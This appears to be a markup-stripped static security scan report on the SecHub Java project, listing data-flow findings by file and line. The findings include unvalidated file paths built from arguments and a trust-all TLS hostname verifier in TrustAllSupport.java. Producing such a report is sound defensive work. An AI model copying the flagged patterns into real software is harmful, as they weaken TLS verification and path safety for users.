System.out.println("given:"+input); + + + + + sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java + 12 + 21 + 5 + println + + 1 + + + 12 + System.out.println("given:"+input); + + + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 35 + 1 + listFiles + + 1 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 41 + 11 + 2 + child + + 5 + + + 41 + visit(child,visitor); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 35 + 25 + 3 + file + + 4 + + + 35 + public void visit(File file, PackageSourceVisitor visitor) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 36 + 7 + 4 + file + + 4 + + + 36 + if (file.isDirectory()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 38 + 46 + 5 + file + + 4 + + + 38 + System.out.println("visiting directory:"+file); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 38 + 23 + 6 + println + + 1 + + + 38 + System.out.println("visiting directory:"+file); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 40 + 35 + 1 + listFiles + + 1 + + + 40 + for (File child: file.listFiles(FILE_FILTER)){ + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 41 + 11 + 2 + child + + 5 + + + 41 + visit(child,visitor); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 35 + 25 + 3 + file + + 4 + + + 35 + public void visit(File file, PackageSourceVisitor visitor) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 36 + 7 + 4 + file + + 4 + + + 36 + if (file.isDirectory()) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 45 + 41 + 5 + file + + 4 + + + 45 + System.out.println("visiting file:"+file); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 45 + 23 + 6 + println + + 1 + + + 45 + System.out.println("visiting file:"+file); + + + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 35 + 1 + args + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 17 + 2 + args + + 4 + + + 33 + String path = args[0]; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 10 + 3 + path + + 4 + + + 33 + String path = args[0]; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 38 + 4 + path + + 4 + + + 34 + File documentsGenFolder = new File(path); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 5 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllSupport.java + 85 + 45 + 1 + anonymous_class_86_20 + + 16 + + + 85 + clientBuilder.setSSLHostnameVerifier(new HostnameVerifier() { + + + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 78 + 18 + 1 + path + + 4 + + + 78 + @RequestMapping(path = AdministrationAPIConstants.API_CREATE_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 95 + 18 + 1 + path + + 4 + + + 95 + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_PROJECT_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 106 + 18 + 1 + path + + 4 + + + 106 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_PROJECTS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 114 + 18 + 1 + path + + 4 + + + 114 + @RequestMapping(path = AdministrationAPIConstants.API_ASSIGN_USER_TO_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 123 + 18 + 1 + path + + 4 + + + 123 + @RequestMapping(path = AdministrationAPIConstants.API_UNASSIGN_USER_TO_PROJECT, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 132 + 18 + 1 + path + + 4 + + + 132 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_PROJECT, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 61 + 18 + 1 + path + + 4 + + + 61 + @RequestMapping(path = AdministrationAPIConstants.API_UPDATE_PROJECT_WHITELIST, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 36 + 18 + 1 + path + + 4 + + + 36 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_SIGNUP, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/signup/SignupAnonymousRestController.java + 42 + 18 + 1 + path + + 4 + + + 42 + @RequestMapping(path = AdministrationAPIConstants.API_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 57 + 18 + 1 + path + + 4 + + + 57 + @RequestMapping(path = AdministrationAPIConstants.API_ACCEPT_USER_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 66 + 18 + 1 + path + + 4 + + + 66 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_USER_SIGNUPS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 74 + 18 + 1 + path + + 4 + + + 74 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_USERS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 82 + 18 + 1 + path + + 4 + + + 82 + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_USER_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 90 + 18 + 1 + path + + 4 + + + 90 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_USER, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserSelfserviceRestController.java + 31 + 18 + 1 + path + + 4 + + + 31 + @RequestMapping(path = AdministrationAPIConstants.API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN+"/{oneTimeToken}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 1 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 56 + 4 + 1 + rootFolder + + 10 + + + 56 + rootFolder = new File("./.."); + + + + + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 40 + 4 + 1 + path + + 4 + + + 40 + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails/to/{emailAdress}", + + + + + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 51 + 4 + 1 + path + + 4 + + + 51 + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails", + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 86 + 6 + 1 + file + + 4 + + + 86 + file = cssResource.getFile(); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 44 + 18 + 1 + path + + 4 + + + 44 + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 56 + 18 + 1 + path + + 4 + + + 56 + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {"application/xhtml+xml", "text/html","text/html;charset=UTF-8"}) + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 49 + 18 + 1 + path + + 4 + + + 49 + @RequestMapping(path = "/job", method = RequestMethod.POST) + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 58 + 18 + 1 + path + + 4 + + + 58 + @RequestMapping(path = "/job/{jobUUID}", method = RequestMethod.GET) + + + + + + + + + sechub-server/src/main/java/com/daimler/sechub/server/IntegrationTestServerRestController.java + 30 + 18 + 1 + path + + 4 + + + 30 + @RequestMapping(path = APIConstants.API_ANONYMOUS+"integrationtest/alive", method = RequestMethod.GET, produces = { + + + + + + + + + sechub-server/src/main/java/com/daimler/sechub/server/IntegrationTestServerRestController.java + 36 + 18 + 1 + path + + 4 + + + 36 + @RequestMapping(path = APIConstants.API_ANONYMOUS+"integrationtest/shutdown", method = RequestMethod.GET, produces = { + + + + + + + + + sechub-testframework/src/test/java/com/daimler/sechub/test/DomainAccessSourceVisitorTest.java + 41 + 3 + 1 + sourceFile + + 10 + + + 41 + sourceFile = new File("."); + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 169 + 8 + 1 + file + + 4 + + + 169 + File file = new File(filePath); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 1 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 36 + 8 + 1 + parent + + 6 + + + 36 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 49 + 8 + 1 + parent + + 6 + + + 49 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 62 + 8 + 1 + targetFile + + 10 + + + 62 + File targetFile = new File("outputfile"); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 77 + 8 + 1 + targetFile + + 10 + + + 77 + File targetFile = new File("outputfile"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 1 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 10 + 1 + files + + 5 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 51 + 8 + 1 + file + + 4 + + + 51 + File file = new File("sechub-doc"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 8 + 1 + targetFolder + + 12 + + + 129 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 145 + 9 + 1 + expected + + 8 + + + 145 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 28 + 8 + 1 + file + + 4 + + + 28 + File file = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 8 + 1 + userDir + + 7 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 18 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 19 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 20 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 21 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 22 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 23 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 24 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 25 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 26 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 27 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 28 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 29 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 30 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 31 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 32 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 33 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 34 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 35 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 18 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 19 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 20 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 21 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 22 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 23 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 24 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 25 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 26 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 27 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 28 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 29 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + 